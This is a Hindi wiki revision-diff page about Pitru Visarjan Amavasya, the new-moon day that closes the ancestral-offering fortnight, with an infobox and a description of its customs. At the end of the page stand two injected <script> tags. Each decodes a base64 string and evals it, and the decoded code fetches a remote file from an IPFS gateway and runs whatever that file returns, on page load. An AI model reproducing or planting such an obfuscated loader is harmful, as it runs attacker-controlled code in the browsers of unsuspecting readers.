"पितृ विसर्जन अमावस्या": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
छो (Text replacement - " मां " to " माँ ")
 
(5 सदस्यों द्वारा किए गए बीच के 12 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
==पितृ विसर्जन अमावस्या==
{{सूचना बक्सा त्योहार
[[आश्विन मास]] के कृष्ण पक्ष की अमावस्या को पितृ विसर्जन अमावस्या कहा जाता है। इस दिन पितर लोक से आए हुए पित्तीश्वर महालय भोजन में तृप्त हो अपने लोक को जाते हैं। इस दिन ब्राह्मण भोजन तथा दानादि से पितर तृप्त होते हैं। जाते समय वे अपने पुत्र, पौत्रों पर आशीर्वाद रूपी अमृत की वर्षा करते हैं।
|चित्र=Pitra-Paksha.jpg
|चित्र का नाम=पितृपक्ष
इस दिन स्त्रियां सन्ध्या समय दीपक जलाने की बेला में पूड़ी, मिष्ठान्न अपने दरवाजों पर रखती हैं। जिसका तात्पर्य यह होता है कि पितर जाते समय भूखे न जाएं। इसी प्रकार दीपक जलाकर पितरों का मार्ग आलोकित किया जाता है। श्राद्ध पक्ष अमावस्या को ही पूर्ण हो जाते हैं।  
|अन्य नाम ='सर्वपितृ अमावस्या', 'महालय समापन', 'महालय विसर्जन'।
|अनुयायी = [[हिन्दू]] तथा प्रवासी भारतीय
|उद्देश्य = पितृऋण से मुक्ति तथा घर में धन-धान्य, संतान प्राप्ति व सुख-समृद्धि हेतु।
|प्रारम्भ = वैदिक-पौराणिक
|तिथि=[[आश्विन]] [[मास]] [[कृष्ण पक्ष]] [[अमावस्या]]
|उत्सव =
|अनुष्ठान =
|धार्मिक मान्यता =
|प्रसिद्धि =
|संबंधित लेख=[[सर्वपितृ अमावस्या]], [[श्राद्ध]], [[पितृपक्ष]], [[पितर]], [[तर्पण (श्राद्ध)|तर्पण]]
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी='पितृ विसर्जन अमावस्या' पितरों को विदा करने की अंतिम तिथि होती है। 15 दिन तक पितृ घर में विराजते हैं और हम उनकी सेवा करते हैं। 'पितृ विसर्जन अमावस्या' के दिन सभी भूले-बिसरे पितरों का [[श्राद्ध]] कर उनसे आशीर्वाद की कामना की जाती है।
|बाहरी कड़ियाँ=
|अद्यतन=
}}
[[आश्विन मास]] के [[कृष्ण पक्ष]] की [[अमावस्या]] को '''पितृ विसर्जन अमावस्या''' कहा जाता है। इस दिन पितर लोक से आए हुए पित्तीश्वर महालय भोजन में तृप्त हो अपने लोक को जाते हैं। इस दिन [[ब्राह्मण]] भोजन तथा दानादि से पितर तृप्त होते हैं। जाते समय वे अपने पुत्र, पौत्रों पर आशीर्वाद रूपी अमृत की वर्षा करते हैं।
{{Main|सर्वपितृ अमावस्या}}
==मान्यता==
इस दिन स्त्रियां सन्ध्या समय दीपक जलाने की बेला में पूड़ी, मिष्ठान्न अपने दरवाजों पर रखती हैं। जिसका तात्पर्य यह होता है कि पितर जाते समय भूखे न जाएं। इसी प्रकार दीपक जलाकर पितरों का मार्ग आलोकित किया जाता है। [[श्राद्ध]] [[पक्ष]] [[अमावस्या]] को ही पूर्ण हो जाते हैं।  


इस अमावस्या का श्राद्धकर्म और तान्त्रिक दृष्टिकोण से बहुत अधिक महत्व है। भूले-भटके पितरों के नाम का ब्राह्मण तो इस दिन जिमाया ही जाता है, साथ ही यदि किसी कारणवश किसी तिथि विशेष को श्राद्धकर्म नहीं हो पाता, तब उन पितरों का श्राद्ध भी इस दिन किया जा सकता है। इस अमावस्या के दूसरे दिन से शारदीय नवरात्र प्रारम्भ हो जाते हैं। यही कारण है कि मां [[दुर्गा]] के प्रचण्ड रूपों के आराधक और तंत्र साधना करने वाले इस अमावस्या की रात्रि को विशिष्ट तान्त्रिक साधनाएं भी करते हैं। यही कारण है कि आश्विर मास की अमावस्या को पितृ-विजर्जन अमावस्या भी कहा जाता है।  
इस अमावस्या का श्राद्धकर्म और तान्त्रिक दृष्टिकोण से बहुत अधिक महत्त्व है। भूले-भटके पितरों के नाम का [[ब्राह्मण]] तो इस दिन जिमाया ही जाता है, साथ ही यदि किसी कारणवश किसी [[तिथि]] विशेष को श्राद्धकर्म नहीं हो पाता, तब उन पितरों का श्राद्ध भी इस दिन किया जा सकता है। इस अमावस्या के दूसरे दिन से [[नवरात्र|शारदीय नवरात्र]] प्रारम्भ हो जाते हैं। यही कारण है कि माँ [[दुर्गा]] के प्रचण्ड रूपों के आराधक और तंत्र साधना करने वाले इस अमावस्या की रात्रि को विशिष्ट तान्त्रिक साधनाएं भी करते हैं। यही कारण है कि [[आश्विन]] [[मास]] की [[अमावस्या]] को '''पितृ-विजर्जन अमावस्या''' भी कहा जाता है।  
==अन्य लिंक==
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और सन्दर्भ==
<references/>
==संबंधित लेख==
{{पर्व और त्योहार}}
{{व्रत और उत्सव}}
[[Category:पर्व और त्योहार]]
[[Category:पर्व और त्योहार]]
[[Category:व्रत और उत्सव]]
[[Category:संस्कृति कोश]]
[[Category:संस्कृति कोश]]
{{साँचा:पर्व और त्योहार}}
[[Category:हिन्दू कर्मकाण्ड]][[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]]
__INDEX__
__INDEX__

14:07, 2 जून 2017 के समय का अवतरण

पितृ विसर्जन अमावस्या
पितृपक्ष
पितृपक्ष
अन्य नाम 'सर्वपितृ अमावस्या', 'महालय समापन', 'महालय विसर्जन'।
अनुयायी हिन्दू तथा प्रवासी भारतीय
उद्देश्य पितृऋण से मुक्ति तथा घर में धन-धान्य, संतान प्राप्ति व सुख-समृद्धि हेतु।
प्रारम्भ वैदिक-पौराणिक
तिथि आश्विन मास कृष्ण पक्ष अमावस्या
संबंधित लेख सर्वपितृ अमावस्या, श्राद्ध, पितृपक्ष, पितर, तर्पण
अन्य जानकारी 'पितृ विसर्जन अमावस्या' पितरों को विदा करने की अंतिम तिथि होती है। 15 दिन तक पितृ घर में विराजते हैं और हम उनकी सेवा करते हैं। 'पितृ विसर्जन अमावस्या' के दिन सभी भूले-बिसरे पितरों का श्राद्ध कर उनसे आशीर्वाद की कामना की जाती है।

आश्विन मास के कृष्ण पक्ष की अमावस्या को पितृ विसर्जन अमावस्या कहा जाता है। इस दिन पितर लोक से आए हुए पित्तीश्वर महालय भोजन में तृप्त हो अपने लोक को जाते हैं। इस दिन ब्राह्मण भोजन तथा दानादि से पितर तृप्त होते हैं। जाते समय वे अपने पुत्र, पौत्रों पर आशीर्वाद रूपी अमृत की वर्षा करते हैं।

मान्यता

इस दिन स्त्रियां सन्ध्या समय दीपक जलाने की बेला में पूड़ी, मिष्ठान्न अपने दरवाजों पर रखती हैं। जिसका तात्पर्य यह होता है कि पितर जाते समय भूखे न जाएं। इसी प्रकार दीपक जलाकर पितरों का मार्ग आलोकित किया जाता है। श्राद्ध पक्ष अमावस्या को ही पूर्ण हो जाते हैं।

इस अमावस्या का श्राद्धकर्म और तान्त्रिक दृष्टिकोण से बहुत अधिक महत्त्व है। भूले-भटके पितरों के नाम का ब्राह्मण तो इस दिन जिमाया ही जाता है, साथ ही यदि किसी कारणवश किसी तिथि विशेष को श्राद्धकर्म नहीं हो पाता, तब उन पितरों का श्राद्ध भी इस दिन किया जा सकता है। इस अमावस्या के दूसरे दिन से शारदीय नवरात्र प्रारम्भ हो जाते हैं। यही कारण है कि माँ दुर्गा के प्रचण्ड रूपों के आराधक और तंत्र साधना करने वाले इस अमावस्या की रात्रि को विशिष्ट तान्त्रिक साधनाएं भी करते हैं। यही कारण है कि आश्विन मास की अमावस्या को पितृ-विजर्जन अमावस्या भी कहा जाता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और सन्दर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>